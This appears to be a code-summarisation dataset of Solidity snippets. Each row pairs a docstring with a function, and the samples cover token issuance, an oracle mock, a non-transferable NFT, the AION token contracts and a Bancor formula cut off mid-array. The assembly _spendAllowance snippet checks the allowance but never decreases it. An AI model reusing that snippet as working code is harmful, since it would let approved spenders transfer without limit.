./full_match/5/0x0C15BAe399374f9eE1Fb0243780D533704C0feBc/sources/contracts/MinerIssuance.sol | Issue exactly `exactMinerOut` Miner for no more than `maxETHIn` ETH. Any additional ether will be refunded back to the user. exactMinerOut uint256 The exact amount of Miner token to receive. Reverts if the minimum is not met. deadline uint256 A timestamp indicating how long the swap will stay active. Reverts if expired. return uint256 The amount of Miner token swapped./ refund excess ETH. | function issueExactMinerForETH(uint256 exactMinerOut, uint256 deadline)
external
payable
nonReentrant
returns (uint256)
{
require(deadline >= block.timestamp, "MinerIssuance/deadline-expired");
uint256 ethIn = msg.value;
require(ethIn > 0, "MinerIssuance/deposit-invalid");
uint256 requiredETHIn = _calculateMinerToETH(exactMinerOut);
require(requiredETHIn <= ethIn, "MinerIssuance/excessive-amount-in");
_asyncTransfer(owner(), requiredETHIn);
if (ethIn >= requiredETHIn) {
(bool success, ) = address(msg.sender).call{
value: ethIn - requiredETHIn
}(new bytes(0));
require(success, "MinerIssuance/cannot-refund-ether");
}
MinerReserve(reserve).issue(_msgSender(), exactMinerOut);
emit Issued(_msgSender(), reserve, requiredETHIn, exactMinerOut);
return exactMinerOut;
}
| 11,635,932 |
pragma solidity 0.6.7;
import "../GebUniswapV3ManagerBase.sol";
contract OracleLikeMock is OracleForUniswapLike {
// Virtual redemption price (not the most updated value)
uint256 internal _redemptionPrice; // [ray]
// Virtual redemption price (not the most updated value)
uint256 internal _collateralPrice; // [ray]
constructor() public {
_collateralPrice = 4000000000000 ether;
_redemptionPrice = 3000000000 ether;
}
/**
* @notice Fetch systemCoin and Colleteral price
* @return systemCoinPrice Price of the system coin
* @return collateralPrice Price of the collateral
* @return valid True only if both values are valid
*/
function getResultsWithValidity()
public
override
returns (
uint256 systemCoinPrice,
uint256 collateralPrice,
bool valid
)
{
return (_redemptionPrice, _collateralPrice, true);
}
function setSystemCoinPrice(uint256 newValue) public {
_redemptionPrice = newValue;
}
function setCollateralPrice(uint256 newValue) public {
_collateralPrice = newValue;
}
}
| Fetch systemCoin and Colleteral price return systemCoinPrice Price of the system coin return collateralPrice Price of the collateral return valid True only if both values are valid/ | function getResultsWithValidity()
public
override
returns (
uint256 systemCoinPrice,
uint256 collateralPrice,
bool valid
)
{
return (_redemptionPrice, _collateralPrice, true);
}
| 7,230,939 |
./full_match/1/0x3FE29e090394c7EF1E3d2E1637E50d9FAaEB9649/sources/contracts/NonTransferrableNFT.sol | this is the override transfer function that makes this NFT non-transferrable we have to use the same params even though they are useless to override the standard function inherrited from the openzeppelin contract | function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
revert('Not transferrable');
}
| 8,365,352 |
//Address: 0x4ceda7906a5ed2179785cd3a40a69ee8bc99c466
//Contract name: Token
//Balance: 0 Ether
//Verification Date: 10/11/2017
//Transacion Count: 79391
// CODE STARTS HERE
pragma solidity >=0.4.10;
// from Zeppelin
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
}
contract Owned {
address public owner;
address newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract IToken {
function transfer(address _to, uint _value) returns (bool);
function balanceOf(address owner) returns(uint);
}
// In case someone accidentally sends token to one of these contracts,
// add a way to get them back out.
contract TokenReceivable is Owned {
function claimTokens(address _token, address _to) onlyOwner returns (bool) {
IToken token = IToken(_token);
return token.transfer(_to, token.balanceOf(this));
}
}
contract EventDefinitions {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Burn(address indexed from, bytes32 indexed to, uint value);
event Claimed(address indexed claimer, uint value);
}
contract Pausable is Owned {
bool public paused;
function pause() onlyOwner {
paused = true;
}
function unpause() onlyOwner {
paused = false;
}
modifier notPaused() {
require(!paused);
_;
}
}
contract Finalizable is Owned {
bool public finalized;
function finalize() onlyOwner {
finalized = true;
}
modifier notFinalized() {
require(!finalized);
_;
}
}
contract Ledger is Owned, SafeMath, Finalizable {
Controller public controller;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint public totalSupply;
uint public mintingNonce;
bool public mintingStopped;
/**
* Used for updating the contract with proofs. Note that the logic
* for guarding against unwanted actions happens in the controller. We only
* specify onlyController here.
* @notice: not yet used
*/
mapping(uint256 => bytes32) public proofs;
/**
* If bridge delivers currency back from the other network, it may be that we
* want to lock it until the user is able to "claim" it. This mapping would store the
* state of the unclaimed currency.
* @notice: not yet used
*/
mapping(address => uint256) public locked;
/**
* As a precautionary measure, we may want to include a structure to store necessary
* data should we find that we require additional information.
* @notice: not yet used
*/
mapping(bytes32 => bytes32) public metadata;
/**
* Set by the controller to indicate where the transfers should go to on a burn
*/
address public burnAddress;
/**
* Mapping allowing us to identify the bridge nodes, in the current setup
* manipulation of this mapping is only accessible by the parameter.
*/
mapping(address => bool) public bridgeNodes;
// functions below this line are onlyOwner
function Ledger() {
}
function setController(address _controller) onlyOwner notFinalized {
controller = Controller(_controller);
}
/**
* @dev To be called once minting is complete, disables minting.
*/
function stopMinting() onlyOwner {
mintingStopped = true;
}
/**
* @dev Used to mint a batch of currency at once.
*
* @notice This gives us a maximum of 2^96 tokens per user.
* @notice Expected packed structure is [ADDR(20) | VALUE(12)].
*
* @param nonce The minting nonce, an incorrect nonce is rejected.
* @param bits An array of packed bytes of address, value mappings.
*
*/
function multiMint(uint nonce, uint256[] bits) onlyOwner {
require(!mintingStopped);
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint created = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
balanceOf[a] = balanceOf[a] + value;
controller.ledgerTransfer(0, a, value);
created += value;
}
totalSupply += created;
}
// functions below this line are onlyController
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
function transfer(address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
return true;
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
var allowed = allowance[_from][_spender];
if (allowed < _value) return false;
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
allowance[_from][_spender] = safeSub(allowed, _value);
return true;
}
function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) {
// require user to set to zero before resetting to nonzero
if ((_value != 0) && (allowance[_owner][_spender] != 0)) {
return false;
}
allowance[_owner][_spender] = _value;
return true;
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
allowance[_owner][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
if (_subtractedValue > oldValue) {
allowance[_owner][_spender] = 0;
} else {
allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue);
}
return true;
}
function setProof(uint256 _key, bytes32 _proof) onlyController {
proofs[_key] = _proof;
}
function setLocked(address _key, uint256 _value) onlyController {
locked[_key] = _value;
}
function setMetadata(bytes32 _key, bytes32 _value) onlyController {
metadata[_key] = _value;
}
/**
* Burn related functionality
*/
/**
* @dev sets the burn address to the new value
*
* @param _address The address
*
*/
function setBurnAddress(address _address) onlyController {
burnAddress = _address;
}
function setBridgeNode(address _address, bool enabled) onlyController {
bridgeNodes[_address] = enabled;
}
}
contract ControllerEventDefinitions {
/**
* An internal burn event, emitted by the controller contract
* which the bridges could be listening to.
*/
event ControllerBurn(address indexed from, bytes32 indexed to, uint value);
}
/**
* @title Controller for business logic between the ERC20 API and State
*
* Controller is responsible for the business logic that sits in between
* the Ledger (model) and the Token (view). Presently, adherence to this model
* is not strict, but we expect future functionality (Burning, Claiming) to adhere
* to this model more closely.
*
* The controller must be linked to a Token and Ledger to become functional.
*
*/
contract Controller is Owned, Finalizable, ControllerEventDefinitions {
Ledger public ledger;
Token public token;
address public burnAddress;
function Controller() {
}
// functions below this line are onlyOwner
function setToken(address _token) onlyOwner {
token = Token(_token);
}
function setLedger(address _ledger) onlyOwner {
ledger = Ledger(_ledger);
}
/**
* @dev Sets the burn address burn values get moved to. Only call
* after token and ledger contracts have been hooked up. Ensures
* that all three values are set atomically.
*
* @notice New Functionality
*
* @param _address desired address
*
*/
function setBurnAddress(address _address) onlyOwner {
burnAddress = _address;
ledger.setBurnAddress(_address);
token.setBurnAddress(_address);
}
modifier onlyToken() {
require(msg.sender == address(token));
_;
}
modifier onlyLedger() {
require(msg.sender == address(ledger));
_;
}
function totalSupply() constant returns (uint) {
return ledger.totalSupply();
}
function balanceOf(address _a) constant returns (uint) {
return ledger.balanceOf(_a);
}
function allowance(address _owner, address _spender) constant returns (uint) {
return ledger.allowance(_owner, _spender);
}
// functions below this line are onlyLedger
// let the ledger send transfer events (the most obvious case
// is when we mint directly to the ledger and need the Transfer()
// events to appear in the token)
function ledgerTransfer(address from, address to, uint val) onlyLedger {
token.controllerTransfer(from, to, val);
}
// functions below this line are onlyToken
function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transfer(_from, _to, _value);
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transferFrom(_spender, _from, _to, _value);
}
function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) {
return ledger.approve(_owner, _spender, _value);
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) {
return ledger.increaseApproval(_owner, _spender, _addedValue);
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) {
return ledger.decreaseApproval(_owner, _spender, _subtractedValue);
}
/**
* End Original Contract
* Below is new functionality
*/
/**
* @dev Enables burning on the token contract
*/
function enableBurning() onlyOwner {
token.enableBurning();
}
/**
* @dev Disables burning on the token contract
*/
function disableBurning() onlyOwner {
token.disableBurning();
}
// public functions
/**
* @dev
*
* @param _from account the value is burned from
* @param _to the address receiving the value
* @param _amount the value amount
*
* @return success operation successful or not.
*/
function burn(address _from, bytes32 _to, uint _amount) onlyToken returns (bool success) {
if (ledger.transfer(_from, burnAddress, _amount)) {
ControllerBurn(_from, _to, _amount);
token.controllerBurn(_from, _to, _amount);
return true;
}
return false;
}
/**
* @dev Implementation for claim mechanism. Note that this mechanism has not yet
* been implemented. This function is only here for future expansion capabilities.
* Presently, just returns false to indicate failure.
*
* @notice Only one of claimByProof() or claim() will potentially be activated in the future.
* Depending on the functionality required and route selected.
*
* @param _claimer The individual claiming the tokens (also the recipient of said tokens).
* @param data The input data required to release the tokens.
* @param success The proofs associated with the data, to indicate the legitimacy of said data.
* @param number The block number the proofs and data correspond to.
*
* @return success operation successful or not.
*
*/
function claimByProof(address _claimer, bytes32[] data, bytes32[] proofs, uint256 number)
onlyToken
returns (bool success) {
return false;
}
/**
* @dev Implementation for an alternative claim mechanism, in which the participant
* is not required to confirm through proofs. Note that this mechanism has not
* yet been implemented.
*
* @notice Only one of claimByProof() or claim() will potentially be activated in the future.
* Depending on the functionality required and route selected.
*
* @param _claimer The individual claiming the tokens (also the recipient of said tokens).
*
* @return success operation successful or not.
*/
function claim(address _claimer) onlyToken returns (bool success) {
return false;
}
}
contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable {
// Set these appropriately before you deploy
string constant public name = "AION";
uint8 constant public decimals = 8;
string constant public symbol = "AION";
Controller public controller;
string public motd;
event Motd(string message);
address public burnAddress; //@ATTENTION: set this to a correct value
bool public burnable = false;
// functions below this line are onlyOwner
// set "message of the day"
function setMotd(string _m) onlyOwner {
motd = _m;
Motd(_m);
}
function setController(address _c) onlyOwner notFinalized {
controller = Controller(_c);
}
// functions below this line are public
function balanceOf(address a) constant returns (uint) {
return controller.balanceOf(a);
}
function totalSupply() constant returns (uint) {
return controller.totalSupply();
}
function allowance(address _owner, address _spender) constant returns (uint) {
return controller.allowance(_owner, _spender);
}
function transfer(address _to, uint _value) notPaused returns (bool success) {
if (controller.transfer(msg.sender, _to, _value)) {
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint _value) notPaused returns (bool success) {
if (controller.transferFrom(msg.sender, _from, _to, _value)) {
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) notPaused returns (bool success) {
// promote safe user behavior
if (controller.approve(msg.sender, _spender, _value)) {
Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function increaseApproval (address _spender, uint _addedValue) notPaused returns (bool success) {
if (controller.increaseApproval(msg.sender, _spender, _addedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
function decreaseApproval (address _spender, uint _subtractedValue) notPaused returns (bool success) {
if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
// modifier onlyPayloadSize(uint numwords) {
// assert(msg.data.length >= numwords * 32 + 4);
// _;
// }
// functions below this line are onlyController
modifier onlyController() {
assert(msg.sender == address(controller));
_;
}
// In the future, when the controller supports multiple token
// heads, allow the controller to reconstitute the transfer and
// approval history.
function controllerTransfer(address _from, address _to, uint _value) onlyController {
Transfer(_from, _to, _value);
}
function controllerApprove(address _owner, address _spender, uint _value) onlyController {
Approval(_owner, _spender, _value);
}
/**
* @dev Burn event possibly called by the controller on a burn. This is
* the public facing event that anyone can track, the bridges listen
* to an alternative event emitted by the controller.
*
* @param _from address that coins are burned from
* @param _to address (on other network) that coins are received by
* @param _value amount of value to be burned
*
* @return { description_of_the_return_value }
*/
function controllerBurn(address _from, bytes32 _to, uint256 _value) onlyController {
Burn(_from, _to, _value);
}
function controllerClaim(address _claimer, uint256 _value) onlyController {
Claimed(_claimer, _value);
}
/**
* @dev Sets the burn address to a new value
*
* @param _address The address
*
*/
function setBurnAddress(address _address) onlyController {
burnAddress = _address;
}
/**
* @dev Enables burning through burnable bool
*
*/
function enableBurning() onlyController {
burnable = true;
}
/**
* @dev Disables burning through burnable bool
*
*/
function disableBurning() onlyController {
burnable = false;
}
/**
* @dev Indicates that burning is enabled
*/
modifier burnEnabled() {
require(burnable == true);
_;
}
/**
* @dev burn function, changed from original implementation. Public facing API
* indicating who the token holder wants to burn currency to and the amount.
*
* @param _amount The amount
*
*/
function burn(bytes32 _to, uint _amount) notPaused burnEnabled returns (bool success) {
return controller.burn(msg.sender, _to, _amount);
}
/**
* @dev claim (quantumReceive) allows the user to "prove" some an ICT to the contract
* thereby thereby releasing the tokens into their account
*
*/
function claimByProof(bytes32[] data, bytes32[] proofs, uint256 number) notPaused burnEnabled returns (bool success) {
return controller.claimByProof(msg.sender, data, proofs, number);
}
/**
* @dev Simplified version of claim, just requires user to call to claim.
* No proof is needed, which version is chosen depends on our bridging model.
*
* @return
*/
function claim() notPaused burnEnabled returns (bool success) {
return controller.claim(msg.sender);
}
}
| burn function, changed from original implementation. Public facing API indicating who the token holder wants to burn currency to and the amount. _amount The amount/ | function burn(bytes32 _to, uint _amount) notPaused burnEnabled returns (bool success) {
return controller.burn(msg.sender, _to, _amount);
}
| 2,529,438 |
./full_match/1/0x92E79B2779460acd23548Af27a175467b32561b0/sources/ERC20.sol | Updates the allowance of `owner` for `spender` based on spent `amount`. @solidity memory-safe-assembly Compute the allowance slot and load its value. If the allowance is not the maximum uint256 value. Revert if the amount to be transferred exceeds the allowance. | function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
assembly {
mstore(0x20, spender)
mstore(0x0c, _ALLOWANCE_SLOT_SEED)
mstore(0x00, owner)
let allowanceSlot := keccak256(0x0c, 0x34)
let allowance_ := sload(allowanceSlot)
if iszero(eq(allowance_, not(0))) {
if gt(amount, allowance_) {
revert(0x1c, 0x04)
}
}
}
}
| 3,876,071 |
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "./interfaces/IBancorFormula.sol";
import "../utility/SafeMath.sol";
contract BancorFormula is IBancorFormula {
using SafeMath for uint256;
uint256 private constant ONE = 1;
uint32 private constant MAX_WEIGHT = 1000000;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
// Auto-generated via 'PrintIntScalingFactors.py'
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x200000000000000000000000000000000;
// Auto-generated via 'PrintLn2ScalingFactors.py'
uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8;
uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80;
// Auto-generated via 'PrintFunctionOptimalLog.py' and 'PrintFunctionOptimalExp.py'
uint256 private constant OPT_LOG_MAX_VAL = 0x15bf0a8b1457695355fb8ac404e7a79e3;
uint256 private constant OPT_EXP_MAX_VAL = 0x800000000000000000000000000000000;
// Auto-generated via 'PrintLambertFactors.py'
uint256 private constant LAMBERT_CONV_RADIUS = 0x002f16ac6c59de6f8d5d6f63c1482a7c86;
uint256 private constant LAMBERT_POS2_SAMPLE = 0x0003060c183060c183060c183060c18306;
uint256 private constant LAMBERT_POS2_MAXVAL = 0x01af16ac6c59de6f8d5d6f63c1482a7c80;
uint256 private constant LAMBERT_POS3_MAXVAL = 0x6b22d43e72c326539cceeef8bb48f255ff;
// Auto-generated via 'PrintWeightFactors.py'
uint256 private constant MAX_UNF_WEIGHT = 0x10c6f7a0b5ed8d36b4c7f34938583621fafc8b0079a2834d26fa3fcc9ea9;
// Auto-generated via 'PrintMaxExpArray.py'
uint256[128] private maxExpArray;
function initMaxExpArray() private {
// maxExpArray[ 0] = 0x6bffffffffffffffffffffffffffffffff;
// maxExpArray[ 1] = 0x67ffffffffffffffffffffffffffffffff;
// maxExpArray[ 2] = 0x637fffffffffffffffffffffffffffffff;
// maxExpArray[ 3] = 0x5f6fffffffffffffffffffffffffffffff;
// maxExpArray[ 4] = 0x5b77ffffffffffffffffffffffffffffff;
// maxExpArray[ 5] = 0x57b3ffffffffffffffffffffffffffffff;
// maxExpArray[ 6] = 0x5419ffffffffffffffffffffffffffffff;
// maxExpArray[ 7] = 0x50a2ffffffffffffffffffffffffffffff;
// maxExpArray[ 8] = 0x4d517fffffffffffffffffffffffffffff;
// maxExpArray[ 9] = 0x4a233fffffffffffffffffffffffffffff;
// maxExpArray[ 10] = 0x47165fffffffffffffffffffffffffffff;
// maxExpArray[ 11] = 0x4429afffffffffffffffffffffffffffff;
// maxExpArray[ 12] = 0x415bc7ffffffffffffffffffffffffffff;
// maxExpArray[ 13] = 0x3eab73ffffffffffffffffffffffffffff;
// maxExpArray[ 14] = 0x3c1771ffffffffffffffffffffffffffff;
// maxExpArray[ 15] = 0x399e96ffffffffffffffffffffffffffff;
// maxExpArray[ 16] = 0x373fc47fffffffffffffffffffffffffff;
// maxExpArray[ 17] = 0x34f9e8ffffffffffffffffffffffffffff;
// maxExpArray[ 18] = 0x32cbfd5fffffffffffffffffffffffffff;
// maxExpArray[ 19] = 0x30b5057fffffffffffffffffffffffffff;
// maxExpArray[ 20] = 0x2eb40f9fffffffffffffffffffffffffff;
// maxExpArray[ 21] = 0x2cc8340fffffffffffffffffffffffffff;
// maxExpArray[ 22] = 0x2af09481ffffffffffffffffffffffffff;
// maxExpArray[ 23] = 0x292c5bddffffffffffffffffffffffffff;
// maxExpArray[ 24] = 0x277abdcdffffffffffffffffffffffffff;
// maxExpArray[ 25] = 0x25daf6657fffffffffffffffffffffffff;
// maxExpArray[ 26] = 0x244c49c65fffffffffffffffffffffffff;
// maxExpArray[ 27] = 0x22ce03cd5fffffffffffffffffffffffff;
// maxExpArray[ 28] = 0x215f77c047ffffffffffffffffffffffff;
// maxExpArray[ 29] = 0x1fffffffffffffffffffffffffffffffff;
// maxExpArray[ 30] = 0x1eaefdbdabffffffffffffffffffffffff;
// maxExpArray[ 31] = 0x1d6bd8b2ebffffffffffffffffffffffff;
maxExpArray[ 32] = 0x1c35fedd14ffffffffffffffffffffffff;
maxExpArray[ 33] = 0x1b0ce43b323fffffffffffffffffffffff;
maxExpArray[ 34] = 0x19f0028ec1ffffffffffffffffffffffff;
maxExpArray[ 35] = 0x18ded91f0e7fffffffffffffffffffffff;
maxExpArray[ 36] = 0x17d8ec7f0417ffffffffffffffffffffff;
maxExpArray[ 37] = 0x16ddc6556cdbffffffffffffffffffffff;
maxExpArray[ 38] = 0x15ecf52776a1ffffffffffffffffffffff;
maxExpArray[ 39] = 0x15060c256cb2ffffffffffffffffffffff;
maxExpArray[ 40] = 0x1428a2f98d72ffffffffffffffffffffff;
maxExpArray[ 41] = 0x13545598e5c23fffffffffffffffffffff;
maxExpArray[ 42] = 0x1288c4161ce1dfffffffffffffffffffff;
maxExpArray[ 43] = 0x11c592761c666fffffffffffffffffffff;
maxExpArray[ 44] = 0x110a688680a757ffffffffffffffffffff;
maxExpArray[ 45] = 0x1056f1b5bedf77ffffffffffffffffffff;
maxExpArray[ 46] = 0x0faadceceeff8bffffffffffffffffffff;
maxExpArray[ 47] = 0x0f05dc6b27edadffffffffffffffffffff;
maxExpArray[ 48] = 0x0e67a5a25da4107fffffffffffffffffff;
maxExpArray[ 49] = 0x0dcff115b14eedffffffffffffffffffff;
maxExpArray[ 50] = 0x0d3e7a392431239fffffffffffffffffff;
maxExpArray[ 51] = 0x0cb2ff529eb71e4fffffffffffffffffff;
maxExpArray[ 52] = 0x0c2d415c3db974afffffffffffffffffff;
maxExpArray[ 53] = 0x0bad03e7d883f69bffffffffffffffffff;
maxExpArray[ 54] = 0x0b320d03b2c343d5ffffffffffffffffff;
maxExpArray[ 55] = 0x0abc25204e02828dffffffffffffffffff;
maxExpArray[ 56] = 0x0a4b16f74ee4bb207fffffffffffffffff;
maxExpArray[ 57] = 0x09deaf736ac1f569ffffffffffffffffff;
maxExpArray[ 58] = 0x0976bd9952c7aa957fffffffffffffffff;
maxExpArray[ 59] = 0x09131271922eaa606fffffffffffffffff;
maxExpArray[ 60] = 0x08b380f3558668c46fffffffffffffffff;
maxExpArray[ 61] = 0x0857ddf0117efa215bffffffffffffffff;
maxExpArray[ 62] = 0x07ffffffffffffffffffffffffffffffff;
maxExpArray[ 63] = 0x07abbf6f6abb9d087fffffffffffffffff;
maxExpArray[ 64] = 0x075af62cbac95f7dfa7fffffffffffffff;
maxExpArray[ 65] = 0x070d7fb7452e187ac13fffffffffffffff;
maxExpArray[ 66] = 0x06c3390ecc8af379295fffffffffffffff;
maxExpArray[ 67] = 0x067c00a3b07ffc01fd6fffffffffffffff;
maxExpArray[ 68] = 0x0637b647c39cbb9d3d27ffffffffffffff;
maxExpArray[ 69] = 0x05f63b1fc104dbd39587ffffffffffffff;
maxExpArray[ 70] = 0x05b771955b36e12f7235ffffffffffffff;
maxExpArray[ 71] = 0x057b3d49dda84556d6f6ffffffffffffff;
maxExpArray[ 72] = 0x054183095b2c8ececf30ffffffffffffff;
maxExpArray[ 73] = 0x050a28be635ca2b888f77fffffffffffff;
maxExpArray[ 74] = 0x04d5156639708c9db33c3fffffffffffff;
maxExpArray[ 75] = 0x04a23105873875bd52dfdfffffffffffff;
maxExpArray[ 76] = 0x0471649d87199aa990756fffffffffffff;
maxExpArray[ 77] = 0x04429a21a029d4c1457cfbffffffffffff;
maxExpArray[ 78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff;
maxExpArray[ 79] = 0x03eab73b3bbfe282243ce1ffffffffffff;
maxExpArray[ 80] = 0x03c1771ac9fb6b4c18e229ffffffffffff;
maxExpArray[ 81] = 0x0399e96897690418f785257fffffffffff;
maxExpArray[ 82] = 0x0373fc456c53bb779bf0ea9fffffffffff;
maxExpArray[ 83] = 0x034f9e8e490c48e67e6ab8bfffffffffff;
maxExpArray[ 84] = 0x032cbfd4a7adc790560b3337ffffffffff;
maxExpArray[ 85] = 0x030b50570f6e5d2acca94613ffffffffff;
maxExpArray[ 86] = 0x02eb40f9f620fda6b56c2861ffffffffff;
maxExpArray[ 87] = 0x02cc8340ecb0d0f520a6af58ffffffffff;
maxExpArray[ 88] = 0x02af09481380a0a35cf1ba02ffffffffff;
maxExpArray[ 89] = 0x0292c5bdd3b92ec810287b1b3fffffffff;
maxExpArray[ 90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff;
maxExpArray[ 91] = 0x025daf6654b1eaa55fd64df5efffffffff;
maxExpArray[ 92] = 0x0244c49c648baa98192dce88b7ffffffff;
maxExpArray[ 93] = 0x022ce03cd5619a311b2471268bffffffff;
maxExpArray[ 94] = 0x0215f77c045fbe885654a44a0fffffffff;
maxExpArray[ 95] = 0x01ffffffffffffffffffffffffffffffff;
maxExpArray[ 96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff;
maxExpArray[ 97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff;
maxExpArray[ 98] = 0x01c35fedd14b861eb0443f7f133fffffff;
maxExpArray[ 99] = 0x01b0ce43b322bcde4a56e8ada5afffffff;
maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff;
maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff;
maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff;
maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff;
maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff;
maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff;
maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff;
maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff;
maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff;
maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff;
maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff;
maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff;
maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff;
maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff;
maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff;
maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff;
maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff;
maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff;
maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff;
maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff;
maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff;
maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf;
maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df;
maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f;
maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037;
maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf;
maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9;
maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6;
}
// Auto-generated via 'PrintLambertArray.py'
uint256[128] private lambertArray;
function initLambertArray() private {
lambertArray[ 0] = 0x60e393c68d20b1bd09deaabc0373b9c5;
lambertArray[ 1] = 0x5f8f46e4854120989ed94719fb4c2011;
lambertArray[ 2] = 0x5e479ebb9129fb1b7e72a648f992b606;
lambertArray[ 3] = 0x5d0bd23fe42dfedde2e9586be12b85fe;
lambertArray[ 4] = 0x5bdb29ddee979308ddfca81aeeb8095a;
lambertArray[ 5] = 0x5ab4fd8a260d2c7e2c0d2afcf0009dad;
lambertArray[ 6] = 0x5998b31359a55d48724c65cf09001221;
lambertArray[ 7] = 0x5885bcad2b322dfc43e8860f9c018cf5;
lambertArray[ 8] = 0x577b97aa1fe222bb452fdf111b1f0be2;
lambertArray[ 9] = 0x5679cb5e3575632e5baa27e2b949f704;
lambertArray[ 10] = 0x557fe8241b3a31c83c732f1cdff4a1c5;
lambertArray[ 11] = 0x548d868026504875d6e59bbe95fc2a6b;
lambertArray[ 12] = 0x53a2465ce347cf34d05a867c17dd3088;
lambertArray[ 13] = 0x52bdce5dcd4faed59c7f5511cf8f8acc;
lambertArray[ 14] = 0x51dfcb453c07f8da817606e7885f7c3e;
lambertArray[ 15] = 0x5107ef6b0a5a2be8f8ff15590daa3cce;
lambertArray[ 16] = 0x5035f241d6eae0cd7bacba119993de7b;
lambertArray[ 17] = 0x4f698fe90d5b53d532171e1210164c66;
lambertArray[ 18] = 0x4ea288ca297a0e6a09a0eee240e16c85;
lambertArray[ 19] = 0x4de0a13fdcf5d4213fc398ba6e3becde;
lambertArray[ 20] = 0x4d23a145eef91fec06b06140804c4808;
lambertArray[ 21] = 0x4c6b5430d4c1ee5526473db4ae0f11de;
lambertArray[ 22] = 0x4bb7886c240562eba11f4963a53b4240;
lambertArray[ 23] = 0x4b080f3f1cb491d2d521e0ea4583521e;
lambertArray[ 24] = 0x4a5cbc96a05589cb4d86be1db3168364;
lambertArray[ 25] = 0x49b566d40243517658d78c33162d6ece;
